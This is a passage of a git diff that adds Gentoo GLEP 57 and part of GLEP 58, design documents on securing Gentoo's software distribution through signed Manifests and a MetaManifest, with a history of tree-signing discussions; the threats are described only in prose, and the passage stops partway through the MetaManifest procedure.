+<p>2004-03-23, gentoo-dev mailing list, &quot;2004.1 will not include a secure
+portage&quot; - Kurt Lieber (klieber). Signing is nowhere near ready for
+2004.1 release, and it is realized that it there is insufficient traction
+and the problem is very large. Many arguments about the checking and
+verification side. First warning signs that MD5 might be broken in the
+near future.
+[ <a class="reference external" href="http://thread.gmane.org/gmane.linux.gentoo.devel/16876">http://thread.gmane.org/gmane.linux.gentoo.devel/16876</a> ]</p>
+<p>2004-03-25, gentoo-dev mailing list, &quot;Redux: 2004.1 will not include a
+secure portage&quot; - Robin H. Johnson (robbat2). Yet another proposal,
+summarizing the points of the previous thread and this time trying to
+track the various weaknesses.
+<a class="reference external" href="http://marc.theaimsgroup.com/?l=gentoo-dev&amp;m=108017986400698&amp;w=2">http://marc.theaimsgroup.com/?l=gentoo-dev&amp;m=108017986400698&amp;w=2</a></p>
+<p>2004-05-31, Gentoo managers meeting, portage team reports that
+FEATURES=sign is now available, but large questions still exist over
+verification policies and procedures, as well as handing of keys.
+[ <a class="reference external" href="http://www.gentoo.org/proj/en/devrel/manager-meetings/logs/2004/20040531.txt">http://www.gentoo.org/proj/en/devrel/manager-meetings/logs/2004/20040531.txt</a> ]</p>
+<p>2005-01-17, gentoo-core mailing list, &quot;Global objective for 2005 :
+portage signing&quot;. Thierry Carrez (koon) suggests that more go into
+tree-signing work. Problems at the time later in the thread show that
+the upstream gpg-agent is not ready, amongst other minor implementation
+issues.</p>
+<p>2005-02-20, gentoo-dev mailing list, &quot;post-LWE 2005&quot; - Brian Harring
+(ferringb). A discussion on the ongoing lack of signing, and that
+eclasses and profiles need to be signed as well, but this seems to be
+hanging on GLEP33 in the meantime.
+[ <a class="reference external" href="http://thread.gmane.org/gmane.linux.gentoo.devel/25556/focus=25596">http://thread.gmane.org/gmane.linux.gentoo.devel/25556/focus=25596</a> ]</p>
+<p>2005-03-08, gentoo-core mailing list, &quot;gpg manifest signing stats&quot;.
+Informal statistics show that 26% of packages in the tree include a
+signed Manifest. Questions are raised regarding key types, and key
+policies.</p>
+<p>2005-11-16, gentoo-core mailing list, &quot;Gentoo key signing practices and
+official Gentoo keyring&quot;. A discussion of key handling and other
+outstanding issues, also mentioning partial Manifests, as well as a
+comparision between the signing procedures used in Slackware, Debian and
+RPM-based distros.</p>
+<p>2005-11-19, gentoo-portage-dev mailing list, &quot;Manifest signing&quot; - Robin
+H. Johnson (robbat2) follows up the previous -core posting, discussion
+implementation issues.
+[ <a class="reference external" href="http://thread.gmane.org/gmane.linux.gentoo.portage.devel/1401">http://thread.gmane.org/gmane.linux.gentoo.portage.devel/1401</a> ]</p>
+<p>2006-05-18, gentoo-dev mailing list, &quot;Signing everything, for fun and for
+profit&quot; - Patrick Lauer (bonsaikitten). Later brings up that Manifest2 is needed for
+getting everything right.
+[ <a class="reference external" href="http://thread.gmane.org/gmane.linux.gentoo.devel/38363">http://thread.gmane.org/gmane.linux.gentoo.devel/38363</a> ]</p>
+<p>2006-05-19, gentoo-dev mailing list, &quot;Re: Signing everything, for fun and for
+profit&quot; - Robin H. Johnson (robbat2). An introduction into some of the
+OpenPGP standard, with a focus on how it affects file signing, key
+signing, management of keys, and revocation.
+[ <a class="reference external" href="http://thread.gmane.org/gmane.linux.gentoo.devel/38363/focus=38371">http://thread.gmane.org/gmane.linux.gentoo.devel/38363/focus=38371</a> ]</p>
+<p>2007-04-11, gentoo-dev mailing list, &quot;Re: <em>DEVELOPMENT</em> mail list,
+right?&quot; - Robin H. Johnson (robbat2). A progress report on these very
+GLEPs.
+[ <a class="reference external" href="http://thread.gmane.org/gmane.linux.gentoo.devel/47752/focus=47908">http://thread.gmane.org/gmane.linux.gentoo.devel/47752/focus=47908</a> ]</p>
+<p>2007-07-02, gentoo-dev mailing list, &quot;Re: Re: Nominations open for the
+Gentoo Council 2007/08&quot; - Robin H. Johnson (robbat2). Another progress
+report.
+[ <a class="reference external" href="http://thread.gmane.org/gmane.linux.gentoo.devel/50029/focus=50043">http://thread.gmane.org/gmane.linux.gentoo.devel/50029/focus=50043</a> ]</p>
+<p>2007-11-30, portage-dev alias, &quot;Manifest2 and Tree-signing&quot; - Robin H.
+Johnson (robbat2). First review thread for these GLEPs, many suggestions
+from Marius Mauch (genone).</p>
+<p>2008-04-03, gentoo-dev mailing list, &quot;Re: Monthly Gentoo Council
+Reminder for April&quot; - Ciaran McCreesh (ciaranm). A thread in which
+Ciaran reminds everybody that simply making all the developers sign the
+tree is not sufficient to prevent all attacks.
+[ <a class="reference external" href="http://thread.gmane.org/gmane.linux.gentoo.devel/55508/focus=55542">http://thread.gmane.org/gmane.linux.gentoo.devel/55508/focus=55542</a> ]</p>
+<p>2008-07-01, gentoo-portage-dev mailing list, &quot;proto-GLEPS for
+Tree-signing&quot; - Robin H. Johnson (robbat2). Thread looking for review
+input from Portage developers.
+[ <a class="reference external" href="http://thread.gmane.org/gmane.linux.gentoo.portage.devel/2686">http://thread.gmane.org/gmane.linux.gentoo.portage.devel/2686</a> ]</p>
+<p>2008-07-12, gentoo-portage-dev mailing list, &quot;proto-GLEPS for
+Tree-signing, take 2&quot; - Robin H. Johnson (robbat2). Integration of
+changes from previous review, and a prototype for the signing code.
+zmedico also posts a patch for a verification prototype.
+[ <a class="reference external" href="http://thread.gmane.org/gmane.linux.gentoo.portage.devel/2709">http://thread.gmane.org/gmane.linux.gentoo.portage.devel/2709</a> ]</p>
+</div>
+<div class="section" id="thanks">
+<h1><a class="toc-backref" href="#id10">Thanks</a></h1>
+<p>I'd like to thank Patrick Lauer (bonsaikitten) for prodding me
+to keep working on the tree-signing project, as well helping with
+spelling, grammar, research (esp. tracking down every possible
+vulnerability that has been mentioned in past discussions, and
+integrating them in this overview).</p>
+</div>
+<div class="section" id="references">
+<h1><a class="toc-backref" href="#id11">References</a></h1>
+<table class="docutils citation" frame="void" id="c08a" rules="none">
+<colgroup><col class="label" /><col /></colgroup>
+<tbody valign="top">
+<tr><td class="label">[C08a]</td><td>Cappos, J et al. (2008). &quot;Package Management Security&quot;.
+University of Arizona Technical Report TR08-02. Available online
+from: <a class="reference external" href="ftp://ftp.cs.arizona.edu/reports/2008/TR08-02.pdf">ftp://ftp.cs.arizona.edu/reports/2008/TR08-02.pdf</a></td></tr>
+</tbody>
+</table>
+<table class="docutils citation" frame="void" id="c08b" rules="none">
+<colgroup><col class="label" /><col /></colgroup>
+<tbody valign="top">
+<tr><td class="label">[C08b]</td><td>Cappos, J et al. (2008). &quot;Attacks on Package Managers&quot;
+Available online at:
+<a class="reference external" href="http://www.cs.arizona.edu/people/justin/packagemanagersecurity/">http://www.cs.arizona.edu/people/justin/packagemanagersecurity/</a></td></tr>
+</tbody>
+</table>
+<table class="docutils citation" frame="void" id="glep58" rules="none">
+<colgroup><col class="label" /><col /></colgroup>
+<tbody valign="top">
+<tr><td class="label">[GLEP58]</td><td>Security of distribution of Gentoo software - Infrastructure to User distribution - MetaManifest
+<a class="reference external" href="http://www.gentoo.org/proj/en/glep/glep-0058.html">http://www.gentoo.org/proj/en/glep/glep-0058.html</a></td></tr>
+</tbody>
+</table>
+<table class="docutils citation" frame="void" id="glepxx2" rules="none">
+<colgroup><col class="label" /><col /></colgroup>
+<tbody valign="top">
+<tr><td class="label">[GLEPxx2]</td><td>Future GLEP on Developer Process security.</td></tr>
+</tbody>
+</table>
+<table class="docutils citation" frame="void" id="glepxx3" rules="none">
+<colgroup><col class="label" /><col /></colgroup>
+<tbody valign="top">
+<tr><td class="label">[GLEPxx3]</td><td>Future GLEP on GnuPG Policies and Handling.</td></tr>
+</tbody>
+</table>
+</div>
+<div class="section" id="copyright">
+<h1><a class="toc-backref" href="#id12">Copyright</a></h1>
+<p>Copyright (c) 2005-2010 by Robin Hugh Johnson. This material may be
+distributed only subject to the terms and conditions set forth in the
+Open Publication License, v1.0.</p>
+<!-- vim: tw=72 ts=2 expandtab: -->
+</div>
+
+</div>
+<div class="footer">
+<hr class="footer" />
+<a class="reference external" href="glep-0057.txt">View document source</a>.
+Generated on: 2010-04-07 21:54 UTC.
+Generated by <a class="reference external" href="http://docutils.sourceforge.net/">Docutils</a> from <a class="reference external" href="http://docutils.sourceforge.net/rst.html">reStructuredText</a> source.
+
+</div>
+</body>
+</html>
diff --git a/xml/htdocs/proj/en/glep/glep-0057.txt b/xml/htdocs/proj/en/glep/glep-0057.txt
new file mode 100644
index 00000000..f054abfc
--- /dev/null
+++ b/xml/htdocs/proj/en/glep/glep-0057.txt
@@ -0,0 +1,355 @@
+GLEP: 57
+Title: Security of distribution of Gentoo software - Overview
+Version: $Revision: 1.6 $
+Last-Modified: $Date: 2010/04/07 21:34:24 $
+Author: Robin Hugh Johnson <robbat2@gentoo.org>
+Status: Final
+Type: Informational
+Content-Type: text/x-rst
+Created: November 2005
+Updated: May 2006, October 2006, November 2007, June 2008, July 2008, October 2008, January 2010
+Post-History: December 2009
+Approved: 18 January 2010
+
+Abstract
+========
+This is the first in a series of 4 GLEPs. It aims to define the actors
+and problems in the Gentoo software distribution process, with a strong
+emphasis on security. The concepts thus developed, will then be used in
+the following GLEPs to describe a comprehensive security solution for
+this distribution process that prevents trivial attacks and increases
+the difficulty on more complex attacks. 
+
+Motivation
+==========
+Since at mid-2002 (see endnote: "History of tree-signing in Gentoo"),
+many discussions have taken place on the gentoo-dev mailing list and in
+many other places to design and implement a security strategy for the
+distribution of files by the Gentoo project.
+
+Usually the goal of such proposals was and is to be able to securely
+identify the data provided by Gentoo and prevent third parties (like a
+compromised mirror) from delivering harmful data (be it as modified
+ebuilds, executable shell code or any other form) to the users of the
+Gentoo MetaDistribution.
+
+These strategies can neither prevent a malicious or compromised upstream
+from injecting "bad" programs, nor can they stop a rogue developer from
+committing malicious ebuilds. What they can do is to reduce the attack
+vectors so that for example a compromised mirror will be detected and no
+tainted data will be executed on user's systems.
+
+Gentoo's software distribution system as it presently stands, contains a
+number of security shortcomings. The last discussion on the gentoo-dev
+mailing list [http://thread.gmane.org/gmane.linux.gentoo.devel/38363]
+contains a good overview of most of the issues. Summarized here:
+
+ - Unverifiable executable code distributed:
+   The most obvious instance are eclasses, but there are many other bits
+   of the tree that are not signed at all right now. Modifying that data
+   is trivial.
+ - Shortcomings of existing Manifest verification
+   A lack and enforcement of policies, combined with suboptimal support
+   in portage, makes it trivial to modify or replace the existing
+   Manifests. 
+ - Vulnerability of existing infrastructure to attacks.
+   The previous two items make it possible for a skilled attacker to
+   design an attack and then execute it against specific portions of
+   existing infrastructure (e.g.: Compromise a country-local rsync
+   mirror, and totally replace a package and it's Manifest).
+
+Specification
+=============
+Security is not something that can be considered in isolation. It is
+both an ongoing holistic process and lessons learnt by examining
+previous shortcomings.
+
+System Elements
+---------------
+There are a few entities to be considered:
+ - Upstream. The people who provide the program(s) or data we wish to
+   distribute.
+ - Gentoo Developers. The people that package and test the things
+   provided by Upstream.
+ - Gentoo Infrastructure. The people and hardware that allow the revision
+   control of metadata and distribution of the data and metadata provided
+   by Developers and Upstream.
+ - Gentoo Mirrors. Hardware provided by external contributors that is not
+   or only marginally controlled by Gentoo Infrastructure. Needed to
+   achieve the scalability and performance needed for the substantial
+   Gentoo user base.
+ - Gentoo Users. The people that use the Gentoo MetaDistribution.
+
+The data described here is usually programs and data files provided by
+upstream; as this is a rather large amount of data it is usually
+distributed over http or ftp from Gentoo Mirrors. This data is usually
+labeled as "distfiles". Metadata is all information describing how to
+manipulate that data - it is usually called "The Tree" or "The Portage
+Tree", consists of many ebuilds, eclasses and supporting files and is
+usually distributed over rsync. The central rsync servers are controlled
+by Gentoo Infrastructure, but many third-party rsync mirrors exist that
+help to reduce the load on those central servers. These extra mirrors
+are not maintained by Gentoo Infrastructure.
+
+Attacks may be conducted against any of these entities. Obviously
+direct attacks against Upstream and Users are outside of the scope of
+this series of GLEPs as they are not in any way controlled or
+controllable by Gentoo - however attacks using Gentoo as a conduit
+(including malicious mirrors) must be considered.
+
+Processes
+---------
+There are two major processes in the distribution of Gentoo, where
+security needs to be implemented:
+
+ - Developer commits to version control systems controlled by
+   Infrastructure.
+ - Tree and distfile distribution from Infrastructure to Users, via the
+   mirrors (this includes both HTTP and rsync distribution).
+
+Both processes need their security improved. In [GLEPxx2] we will discuss
+how to improve the security of the first process. The relatively
+speaking simpler process of file distribution will be described in
+[GLEP58]. Since it can be implemented without having to change the
+workflow and behaviour of developers we hope to get it done in a
+reasonably short timeframe.
+
+Attacks against Processes
+-------------------------
+Attacks against the process #1 may be as complex as a malicious or
+compromised developer (stolen SSH keys, rooted systems), or as simple as
+a patch from a user that does a little more than it claims, and is not
+adequately reviewed.
+
+Attacks against the process #2 may be as simple as a single rooted
+mirror, distributing a modified tree to the users of that mirror - or
+some alteration of upstream sources. These attacks have a low cost and
+are very hard to discover unless all distributed data is transparently
+signed.
+
+A simple example of such an attack and a partial solution for eclasses
+is presented in [ http://thread.gmane.org/gmane.linux.gentoo.devel/24677
+]. It shows quite well that any non-Gentoo controlled rsync mirror can
+modify executable code; as much of this code is per default run as root
+a malicious mirror could compromise hundreds of systems per day - if
+cloaked well enough, such an attack could run for weeks before being
+noticed. As there are no effective safeguards right now users are left
+with the choice of either syncing from the sometimes slow or even
+unresponsive Gentoo-controlled rsync mirrors or risk being compromised
+by syncing from one of the community-provided mirrors. We will show that
+protection against this class of attacks is very easy to implement with
+little added cost. 
+
+At the level of mirrors, addition of malicious content is not the only
+attack. As discussed by Cappos et al [C08a,C08b], an attacker may use
+exclusion and replay attacks, possibly only on a specific subset of
+user to extend the window of opportunity on another exploit.
+
+Security for Processes
+------------------------
+Protection for process #1 can never be complete (without major
+modifications to our development process), as a malicious developer is
+fully authorized to provide materials for distribution. Partial
+protection can be gained by Portage and Infrastructure changes, but the
+real improvements needed are developer education and continued
+vigilance. This is further discussed in [GLEPxx2].
+
+This security is still limited in scope - protection against compromised
+developers is very expensive, and even complex systems like peer review
+/ multiple signatures can be broken by colluding developers. There are many
+issues, be it social or technical, that increase the cost of such
+measures a lot while only providing marginal security gains. Any
+implementation proposal must be carefully analysed to find the best
+security to developer hassle ratio.
+
+Protection for process #2 is a different matter entirely. While it also
+cannot be complete (as the User may be attacked directly), we can ensure
+that Gentoo infrastructure and the mirrors are not a weak point. This
+objective is actually much closer than it seems already - most of the
+work has been completed for other things!. This is further discussed in
+[GLEP58]. As this process has the most to gain in security, and the
+most immediate impact, it should be implemented before or at the same
+time as any changes to process #1. Security at this layer is already
+available in the signed daily snapshots, but we can extend it to cover
+the rsync mirrors as well.
+
+Requirements pertaining to and management of keys (OpenPGP or otherwise)
+is an issue that affects both processes, and is broken out into a
+separate GLEP due to the technical complexity of the subject.
+This deals with everything including: types of keys to use; usage
+guidelines; procedures for managing signatures and trust for keys,
+including cases of lost (destroyed) and stolen (or otherwise turned
+malicious) keys.
+
+Backwards Compatibility
+=======================
+As an informational GLEP, this document has no direct impact on
+backwards compatibility. However the related in-depth documents may
+delve further into any issues of backwards compatibility.
+
+Endnote: History of tree-signing in Gentoo
+==========================================
+This is a brief review of every previous tree-signing discussion, the
+stuff before 2003-04-03 was very hard to come by, so I apologize if I've
+missed a discussion (I would like to hear about it). I think there was
+a very early private discussion with drobbins in 2001, as it's vaguely
+referenced, but I can't find it anywhere.
+
+2002-06-06, gentoo-dev mailing list, users first ask about signing of
+ebuilds:
+[ http://thread.gmane.org/gmane.linux.gentoo.devel/1950 ]
+
+2003-01-13, gentoo-dev mailing list, "Re: Verifying portage is from
+Gentoo" - Paul de Vrieze (pauldv):
+[ http://thread.gmane.org/gmane.linux.gentoo.devel/6619/focus=6619 ]
+
+2003-04, GWN articles announcing tree signing:
+[ http://www.gentoo.org/news/en/gwn/20030407-newsletter.xml#doc_chap1_sect3 ]
+[ http://www.gentoo.org/news/en/gwn/20030421-newsletter.xml#doc_chap1_sect2 ]
+
+2003-04, gentoo-security mailing list, "The state of ebuild signing
+in portage" - Joshua Brindle (method), the first suggestion of signed Manifests,
+but also an unusual key-trust model:
+[ http://marc.theaimsgroup.com/?l=gentoo-security&m=105073449619892&w=2 ]
+
+2003-04, gentoo-core mailing list, "New Digests and Signing -- Attempted Explanation"
+
+2003-06, gentoo-core mailing list, "A quick guide to GPG and key
+signing." - This overview was one of the first to help developers see
+how to use their devs, and was mainly intended for keysigning meetups.
+
+2003-08-09, gentoo-core mailing list, "Ebuild signing" - status query,
+with an not very positive response, delayed by Nick Jones (carpaski)
+getting rooted and a safe cleanup taking a long time to affect.
+
+2003-12-02, gentoo-core mailing list, "Report: rsync1.it.gentoo.org compromised"
+
+2003-12-03, gentoo-core mailing list, "Signing of ebuilds"
+
+2003-12-07, gentoo-core mailing list, "gpg signing of Manifests", thread
+includes the first GnuPG signing prototype code, by Robin H. Johnson
+(robbat2). Andrew Cowie (rac) also produces a proof-of-concept around
+this time.
+
+2004-03-23, gentoo-dev mailing list, "2004.1 will not include a secure
+portage" - Kurt Lieber (klieber). Signing is nowhere near ready for
+2004.1 release, and it is realized that it there is insufficient traction
+and the problem is very large. Many arguments about the checking and
+verification side. First warning signs that MD5 might be broken in the
+near future.
+[ http://thread.gmane.org/gmane.linux.gentoo.devel/16876 ]
+
+2004-03-25, gentoo-dev mailing list, "Redux: 2004.1 will not include a
+secure portage" - Robin H. Johnson (robbat2). Yet another proposal,
+summarizing the points of the previous thread and this time trying to
+track the various weaknesses.
+http://marc.theaimsgroup.com/?l=gentoo-dev&m=108017986400698&w=2
+
+2004-05-31, Gentoo managers meeting, portage team reports that
+FEATURES=sign is now available, but large questions still exist over
+verification policies and procedures, as well as handing of keys.
+[ http://www.gentoo.org/proj/en/devrel/manager-meetings/logs/2004/20040531.txt ]
+
+2005-01-17, gentoo-core mailing list, "Global objective for 2005 :
+portage signing". Thierry Carrez (koon) suggests that more go into
+tree-signing work. Problems at the time later in the thread show that
+the upstream gpg-agent is not ready, amongst other minor implementation
+issues.
+
+2005-02-20, gentoo-dev mailing list, "post-LWE 2005" - Brian Harring
+(ferringb). A discussion on the ongoing lack of signing, and that
+eclasses and profiles need to be signed as well, but this seems to be
+hanging on GLEP33 in the meantime.
+[ http://thread.gmane.org/gmane.linux.gentoo.devel/25556/focus=25596 ] 
+
+2005-03-08, gentoo-core mailing list, "gpg manifest signing stats".
+Informal statistics show that 26% of packages in the tree include a
+signed Manifest. Questions are raised regarding key types, and key
+policies.
+
+2005-11-16, gentoo-core mailing list, "Gentoo key signing practices and
+official Gentoo keyring". A discussion of key handling and other
+outstanding issues, also mentioning partial Manifests, as well as a
+comparision between the signing procedures used in Slackware, Debian and
+RPM-based distros.
+
+2005-11-19, gentoo-portage-dev mailing list, "Manifest signing" - Robin
+H. Johnson (robbat2) follows up the previous -core posting, discussion
+implementation issues.
+[ http://thread.gmane.org/gmane.linux.gentoo.portage.devel/1401 ]
+
+2006-05-18, gentoo-dev mailing list, "Signing everything, for fun and for
+profit" - Patrick Lauer (bonsaikitten). Later brings up that Manifest2 is needed for
+getting everything right.
+[ http://thread.gmane.org/gmane.linux.gentoo.devel/38363 ]
+
+2006-05-19, gentoo-dev mailing list, "Re: Signing everything, for fun and for
+profit" - Robin H. Johnson (robbat2). An introduction into some of the
+OpenPGP standard, with a focus on how it affects file signing, key
+signing, management of keys, and revocation.
+[ http://thread.gmane.org/gmane.linux.gentoo.devel/38363/focus=38371 ]
+
+2007-04-11, gentoo-dev mailing list, "Re: *DEVELOPMENT* mail list,
+right?" - Robin H. Johnson (robbat2). A progress report on these very
+GLEPs.
+[ http://thread.gmane.org/gmane.linux.gentoo.devel/47752/focus=47908 ]
+
+2007-07-02, gentoo-dev mailing list, "Re: Re: Nominations open for the
+Gentoo Council 2007/08" - Robin H. Johnson (robbat2). Another progress
+report.
+[ http://thread.gmane.org/gmane.linux.gentoo.devel/50029/focus=50043 ]
+
+2007-11-30, portage-dev alias, "Manifest2 and Tree-signing" - Robin H.
+Johnson (robbat2). First review thread for these GLEPs, many suggestions
+from Marius Mauch (genone).
+
+2008-04-03, gentoo-dev mailing list, "Re: Monthly Gentoo Council
+Reminder for April" - Ciaran McCreesh (ciaranm). A thread in which
+Ciaran reminds everybody that simply making all the developers sign the
+tree is not sufficient to prevent all attacks.
+[ http://thread.gmane.org/gmane.linux.gentoo.devel/55508/focus=55542 ]
+
+2008-07-01, gentoo-portage-dev mailing list, "proto-GLEPS for
+Tree-signing" - Robin H. Johnson (robbat2). Thread looking for review
+input from Portage developers.
+[ http://thread.gmane.org/gmane.linux.gentoo.portage.devel/2686 ]
+
+2008-07-12, gentoo-portage-dev mailing list, "proto-GLEPS for
+Tree-signing, take 2" - Robin H. Johnson (robbat2). Integration of
+changes from previous review, and a prototype for the signing code.
+zmedico also posts a patch for a verification prototype.
+[ http://thread.gmane.org/gmane.linux.gentoo.portage.devel/2709 ]
+
+Thanks
+======
+I'd like to thank Patrick Lauer (bonsaikitten) for prodding me
+to keep working on the tree-signing project, as well helping with
+spelling, grammar, research (esp. tracking down every possible
+vulnerability that has been mentioned in past discussions, and
+integrating them in this overview).
+
+References
+==========
+
+.. [C08a] Cappos, J et al. (2008). "Package Management Security".
+    University of Arizona Technical Report TR08-02. Available online
+    from: ftp://ftp.cs.arizona.edu/reports/2008/TR08-02.pdf
+
+.. [C08b] Cappos, J et al. (2008). "Attacks on Package Managers"
+    Available online at:
+    http://www.cs.arizona.edu/people/justin/packagemanagersecurity/
+
+.. [GLEP58] Security of distribution of Gentoo software - Infrastructure to User distribution - MetaManifest
+   http://www.gentoo.org/proj/en/glep/glep-0058.html	
+
+.. [GLEPxx2] Future GLEP on Developer Process security.
+
+.. [GLEPxx3] Future GLEP on GnuPG Policies and Handling.
+
+Copyright
+=========
+Copyright (c) 2005-2010 by Robin Hugh Johnson. This material may be
+distributed only subject to the terms and conditions set forth in the
+Open Publication License, v1.0.
+
+.. vim: tw=72 ts=2 expandtab:
diff --git a/xml/htdocs/proj/en/glep/glep-0058.html b/xml/htdocs/proj/en/glep/glep-0058.html
new file mode 100644
index 00000000..52e4c0cd
--- /dev/null
+++ b/xml/htdocs/proj/en/glep/glep-0058.html
@@ -0,0 +1,408 @@
+<?xml version="1.0" encoding="utf-8" ?>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+
+<head>
+  <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+  <meta name="generator" content="Docutils 0.6: http://docutils.sourceforge.net/" />
+  <title>GLEP 58 -- Security of distribution of Gentoo software - Infrastructure to User distribution - MetaManifest</title>
+  <link rel="stylesheet" href="tools/glep.css" type="text/css" /></head>
+<body bgcolor="white">
+<table class="navigation" cellpadding="0" cellspacing="0"
+       width="100%" border="0">
+<tr><td class="navicon" width="150" height="35">
+<a href="http://www.gentoo.org/" title="Gentoo Linux Home Page">
+<img src="http://www.gentoo.org/images/gentoo-new.gif" alt="[Gentoo]"
+ border="0" width="150" height="35" /></a></td>
+<td class="textlinks" align="left">
+[<b><a href="http://www.gentoo.org/">Gentoo Linux Home</a></b>]
+[<b><a href="http://www.gentoo.org/proj/en/glep">GLEP Index</a></b>]
+[<b><a href="http://www.gentoo.org/proj/en/glep/glep-0058.txt">GLEP Source</a></b>]
+</td></tr></table>
+<table class="rfc2822 docutils field-list" frame="void" rules="none">
+<col class="field-name" />
+<col class="field-body" />
+<tbody valign="top">
+<tr class="field"><th class="field-name">GLEP:</th><td class="field-body">58</td>
+</tr>
+<tr class="field"><th class="field-name">Title:</th><td class="field-body">Security of distribution of Gentoo software - Infrastructure to User distribution - MetaManifest</td>
+</tr>
+<tr class="field"><th class="field-name">Version:</th><td class="field-body">1.10</td>
+</tr>
+<tr class="field"><th class="field-name">Last-Modified:</th><td class="field-body"><a class="reference external" href="http://www.gentoo.org/cgi-bin/viewcvs.cgi/xml/htdocs/proj/en/glep/glep-0058.txt?cvsroot=gentoo">2010/04/07 21:34:24</a></td>
+</tr>
+<tr class="field"><th class="field-name">Author:</th><td class="field-body">Robin Hugh Johnson &lt;robbat2&#32;&#97;t&#32;gentoo.org&gt;,</td>
+</tr>
+<tr class="field"><th class="field-name">Status:</th><td class="field-body">Draft</td>
+</tr>
+<tr class="field"><th class="field-name">Type:</th><td class="field-body">Standards Track</td>
+</tr>
+<tr class="field"><th class="field-name">Content-Type:</th><td class="field-body"><a class="reference external" href="glep-0002.html">text/x-rst</a></td>
+</tr>
+<tr class="field"><th class="field-name">Requires:</th><td class="field-body"><a class="reference external" href="http://www.gentoo.org/proj/en/glepglep-0044.html">44</a> <a class="reference external" href="http://www.gentoo.org/proj/en/glepglep-0060.html">60</a></td>
+</tr>
+<tr class="field"><th class="field-name">Created:</th><td class="field-body">October 2006</td>
+</tr>
+<tr class="field"><th class="field-name">Updated:</th><td class="field-body">November 2007, June 2008, July 2008, October 2008, January 2010</td>
+</tr>
+<tr class="field"><th class="field-name">Post-History:</th><td class="field-body">December 2009, January 2010</td>
+</tr>
+</tbody>
+</table>
+<hr />
+<div class="contents topic" id="contents">
+<p class="topic-title first">Contents</p>
+<ul class="simple">
+<li><a class="reference internal" href="#abstract" id="id2">Abstract</a></li>
+<li><a class="reference internal" href="#motivation" id="id3">Motivation</a></li>
+<li><a class="reference internal" href="#specification" id="id4">Specification</a><ul>
+<li><a class="reference internal" href="#procedure-for-creating-the-metamanifest-file" id="id5">Procedure for creating the MetaManifest file:</a><ul>
+<li><a class="reference internal" href="#summary" id="id6">Summary:</a></li>
+<li><a class="reference internal" href="#process" id="id7">Process:</a></li>
+<li><a class="reference internal" href="#notes" id="id8">Notes:</a></li>
+</ul>
+</li>
+<li><a class="reference internal" href="#verification-of-one-or-more-items-from-the-metamanifest" id="id9">Verification of one or more items from the MetaManifest:</a></li>
+<li><a class="reference internal" href="#procedure-for-verifying-an-item-in-the-metamanifest" id="id10">Procedure for verifying an item in the MetaManifest:</a><ul>
+<li><a class="reference internal" href="#id1" id="id11">Notes:</a></li>
+</ul>
+</li>
+</ul>
+</li>
+<li><a class="reference internal" href="#implementation-notes" id="id12">Implementation Notes</a><ul>
+<li><a class="reference internal" href="#metamanifest-and-the-new-manifest2-filetypes" id="id13">MetaManifest and the new Manifest2 filetypes</a></li>
+<li><a class="reference internal" href="#timestamps-additional-distribution-of-metamanifest" id="id14">Timestamps &amp; Additional distribution of MetaManifest</a></li>
+<li><a class="reference internal" href="#metamanifest-size-considerations" id="id15">MetaManifest size considerations</a></li>
+</ul>
+</li>
+<li><a class="reference internal" href="#backwards-compatibility" id="id16">Backwards Compatibility</a></li>
+<li><a class="reference internal" href="#thanks" id="id17">Thanks</a></li>
+<li><a class="reference internal" href="#references" id="id18">References</a></li>
+<li><a class="reference internal" href="#copyright" id="id19">Copyright</a></li>
+</ul>
+</div>
+<div class="section" id="abstract">
+<h1><a class="toc-backref" href="#id2">Abstract</a></h1>
+<p>MetaManifest provides a means of verifiable distribution from Gentoo
+Infrastructure to a user system, while data is conveyed over completely
+untrusted networks and system, by extending the Manifest2 specification,
+and adding a top-level Manifest file, with support for other nested
+Manifests.</p>
+</div>
+<div class="section" id="motivation">
+<h1><a class="toc-backref" href="#id3">Motivation</a></h1>
+<p>As part of a comprehensive security plan, we need a way to prove that
+something originating from Gentoo as an organization (read Gentoo-owned
+hardware, run by infrastructure), has not been tampered with. This
+allows the usage of third-party rsync mirrors, without worrying that
+they have modified something critical (e.g. eclasses, which are still
+unsigned).</p>
+<p>Securing the untrusted distribution is one of the easier tasks in the
+security plan - in short, all that is required is having a hash of every
+item in the tree, and signing that hash to prove it came from Gentoo.</p>
+<p>Ironically we have a hashed and signed distribution (it's just not used
+by most users, due to it's drawbacks): Our tree snapshot tarballs have
+hashes and signatures.</p>
+<p>So now we want to add the same verification to our material that is
+distributed by rsync. We already provide hashes of subsets of the tree -
+our Manifests protect individual packages. However metadata, eclasses
+and profiles are not protected at this time. The directories of
+packages and distfiles are NOT covered by this, as they are not
+distributed by rsync.</p>
+<p>This portion of the tree-signing work provides only the following
+guarantee: A user can prove that the tree from the Gentoo infrastructure
+has not been tampered with since leaving the Gentoo infrastructure.
+No other guarantees, either implicit or explicit are made.</p>
+<p>Additionally, distributing a set of the most recent MetaManifests from a
+trusted source allows validation of trees that come from community
+mirrors, and allows detection of all cases of malicious mirrors (either
+by deliberate delay, replay [C08a, C08b] or alteration).</p>
+</div>
+<div class="section" id="specification">
+<h1><a class="toc-backref" href="#id4">Specification</a></h1>
+<p>For lack of a better name, the following solution should be known as the
+MetaManifest. Those responsible for the name have already been sacked.</p>
+<p>MetaManifest basically contains hashes of every file in the tree, either
+directly or indirectly. The direct case applies to ANY file that does
+not appear in an existing Manifest file (e.g. eclasses, Manifest files
+themselves). The indirect case is covered by the CONTENTS of existing
+Manifest files. If the Manifest itself is correct, we know that by
+tracking the hash of the Manifest, we can be assured that the contents
+are protected.</p>
+<p>In the following, the MetaManifest file is a file named 'Manifest',
+located at the root of a repository.</p>
+<div class="section" id="procedure-for-creating-the-metamanifest-file">
+<h2><a class="toc-backref" href="#id5">Procedure for creating the MetaManifest file:</a></h2>
+<div class="section" id="summary">
+<h3><a class="toc-backref" href="#id6">Summary:</a></h3>
+<p>The objective of creating the MetaManifest file(s) is to ensure that
+every single file in the tree occurs in at least one Manifest.</p>
+</div>
+<div class="section" id="process">
+<h3><a class="toc-backref" href="#id7">Process:</a></h3>
+<ol class="arabic simple">
+<li>Start at the root of the Gentoo Portage tree (gentoo-x86, although
+this procedure applies to overlays as well).</li>
+<li>Initialize two unordered sets: COVERED, ALL.<ol class="arabic">
+<li>'ALL' shall contain every file that exists in the present tree.</li>
+<li>'COVERED' shall contain EVERY file that is mentioned in an existing
